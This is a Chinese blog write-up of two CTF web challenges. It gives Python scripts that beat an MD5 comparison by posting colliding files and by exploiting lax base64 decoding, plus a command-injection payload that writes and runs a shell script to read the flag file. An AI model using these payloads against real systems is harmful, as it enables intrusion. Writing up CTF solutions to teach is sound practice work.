web

两道web的writeup

Posted by 1nhann on 2020-12-01
Page views

菜鸡刚学web,在这里写两道11月月赛web题的writeup

ezMD5

题目:http://182.92.241.162:10001/

看看,是python写的

既然不是php写的,那就不能用php的0e开头数字接后的字符串弱相等这一php中的特性了

搜索一下,看看网上有没有md5相同的字符串或文件

发现有:

那就好办了,直接写个脚本,作为a、b传到目标网址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests as req
import base64
from urllib.parse import quote
url = 'http://182.92.241.162:10001/'
with open('plane.jpg','rb') as f:
md51 = f.read()
with open('ship.jpg','rb') as f:
md52 = f.read()
md51 = base64.b64encode(md51)
#md51 = quote(md51)
md52 = base64.b64encode(md52)
#md52 = quote(md52)
data = {'a':md51,'b':md52}
r = req.post(url=url,data=data)
print(r.text)

得到flag

第二种方法

用到base64.b64decode的特性

随便一输:

看到用base64.b64decode() 处理了

查一下base64.b64decode() 的官方文档

传入的参数中,多余的字符会被忽略,即除了0-9,a-z,A-Z,=

所以写脚本:

1
2
3
4
5
6
7
8
9
import requests as req
import base64
from urllib.parse import quote
url = 'http://182.92.241.162:10001/'
md51 = 'aGVsbG8='
md52 = md51+'$'
data = {'a':md51,'b':md52}
r = req.post(url=url,data=data)
print(r.text)

zs的难题

题目关了

简单的源码:

但是,正如提示所说的,删除了很多命令

cd 到每一层看一看

第一层:

上一层:

再上一层:

再上一层

终于,看到了flag

那我们的目标就是要在标准输出流中打印出flag里面的内容

外置的命令,包括cat,都是存放在bin文件夹下的,所以cd 进去看看:

这三个命令能用,其中ls用来展示文件夹的结构,sh 可以执行shell 脚本,也可以执行标准输入流传给它的命令,rm是用来删除文件或文件夹的

  • payload:

zs=cd ..;cd ..;cd ..;echo 'while read line;do echo $line;done < flag' > hello;sh hello

查了半天资料,想了好多脑洞大开的方法,最终发现能通过 sh file_name 直接运行一个shell脚本,所以我决定看看能不能写个脚本然后运行

echo 是builtin 的命令,删不掉,试试看

没问题,echo能用

echo 把内容打印到标准输出端中,可以通过

来重定向,即通过 ```echo message > file_name``` 之后,```message```就被写入指定的文件中
1
2
3
4
5
6
7

打印文件到标准输出流的shell脚本这样写:

```shell
while read line
do echo $line
done < file_name

查一查怎么写成一行:

1
while read line;do echo $line;done < file_name

那么,可以整了:

http://47.93.220.75:8888/?zs=cd ..;cd ..;cd ..;echo 'while read line;do echo $line;done < flag' > hello;sh hello